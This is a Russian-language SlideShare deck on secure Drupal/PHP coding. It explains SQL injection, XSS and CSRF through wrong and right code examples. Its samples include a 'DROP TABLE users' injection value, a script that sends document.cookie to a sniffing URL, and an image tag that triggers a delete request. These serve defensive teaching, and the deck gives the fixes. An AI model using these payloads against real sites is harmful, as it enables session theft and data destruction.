Безопасный код

1,824 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,824
On SlideShare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
13
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Безопасный код

  1. 1. Безопасный код © Александр Швец [email_address]
  2. 2. SQL инъекция <ul><li>$result = db_query(' </li></ul><ul><li>SELECT * </li></ul><ul><ul><ul><li>FROM users </li></ul></ul></ul><ul><ul><ul><li>WHERE id = '&quot; + $userID + &quot;'; </li></ul></ul></ul><ul><ul><ul><li>‘ ); </li></ul></ul></ul>
  3. 3. <ul><li>$userID = &quot;5;DROP TABLE users&quot; ; </li></ul>
  4. 4. <ul><li>$result = db_query(' </li></ul><ul><li>SELECT * </li></ul><ul><ul><ul><li>FROM users </li></ul></ul></ul><ul><ul><ul><li>WHERE id = 5; DROP TABLE users; </li></ul></ul></ul><ul><ul><ul><li>'); </li></ul></ul></ul>
  5. 5. Неправильно <ul><li>$result = db_query(' </li></ul><ul><li>SELECT * </li></ul><ul><ul><ul><li>FROM users </li></ul></ul></ul><ul><ul><ul><li>WHERE id = '&quot; + $userID + &quot;'; </li></ul></ul></ul><ul><ul><ul><li>‘ ); </li></ul></ul></ul>
  6. 6. Правильно <ul><li>$result = db_query(' </li></ul><ul><li>SELECT * </li></ul><ul><ul><ul><li>FROM users </li></ul></ul></ul><ul><ul><ul><li>WHERE id = %d </li></ul></ul></ul><ul><ul><ul><li>‘ , $userID ); </li></ul></ul></ul>
  7. 7. Cross-site scripting (XSS) <ul><li>Основная проблема — кража пользовательских cookies, с помощью которых производится неавторизированный вход на сайт. </li></ul>
  8. 8. Как крадутся cookie <ul><li><script> </li></ul><ul><li>document.write( </li></ul><ul><li>‘ <img src=“http://site.com/sniff.php?c=‘ + document.cookie + </li></ul><ul><li>’ />’ </li></ul><ul><li>); </li></ul><ul><li></script> </li></ul>
  9. 9. Уязвимость в реальной жизни <ul><li>$output = </li></ul><ul><li>‘ <a href=“’. $url .’”>’. $title .’</a>’; </li></ul>
  10. 10. <ul><li>$title = “</a> </li></ul><ul><li><script>alert(document.cookie)</script><a>” ; </li></ul>
  11. 11. <ul><li><a href=“ …”> </a> </li></ul><ul><li><script>alert(document.cookie)</script> </li></ul><ul><li><a> </a> </li></ul>
  12. 12. <ul><li>$url = “javascript:alert(document.cookie)” ; </li></ul>
  13. 13. <ul><li><a href=“ javascript:alert(document.cookie) ”>… </a> </li></ul>
  14. 14. Неправильно <ul><li>$output = </li></ul><ul><li>‘ <a href=“’. $url .’”>’. $title .’</a>’; </li></ul>
  15. 15. Правильно <ul><li>$output = </li></ul><ul><li>‘ <a href=“’. check_url($url) .’”>’. check_plain($title) .’</a>’; </li></ul>
  16. 16. Еще лучше <ul><li>$output = l($title, $url) ; </li></ul>
  17. 17. Фильтрация ввода — лечение от XSS <ul><li>check_plain() </li></ul><ul><li>check_markup() </li></ul><ul><li>ckeck_url() </li></ul><ul><li>t() </li></ul><ul><li>filter_xss_admin() </li></ul>
  18. 18. Подделка межсайтовых запросов ( CSRF ) <ul><li><a href=“http://site.com/fast_delete_node”> </li></ul><ul><li>Быстро удалить документ </li></ul><ul><li></a> </li></ul>
  19. 19. А что если? <ul><li><img src=“http://site.com/fast_delete_node”/> </li></ul>
  20. 20. Лечение CSRF <ul><li>Управляющий код должен выполняться только в обработчиках форм, либо с проверкой токенов. </li></ul>
  21. 21. Спасибо за внимание! <ul><li>Контакты: </li></ul><ul><li>Александр Швец </li></ul><ul><li>[email_address] </li></ul><ul><li>Ссылки: </li></ul><ul><li>http://drupaldance.com/lessons/secure-code-user-input </li></ul><ul><li>http://drupaldance.com/lessons/secure-code-database-layer </li></ul><ul><li>http://drupaldance.com/lessons/secure-code-csrf </li></ul>

×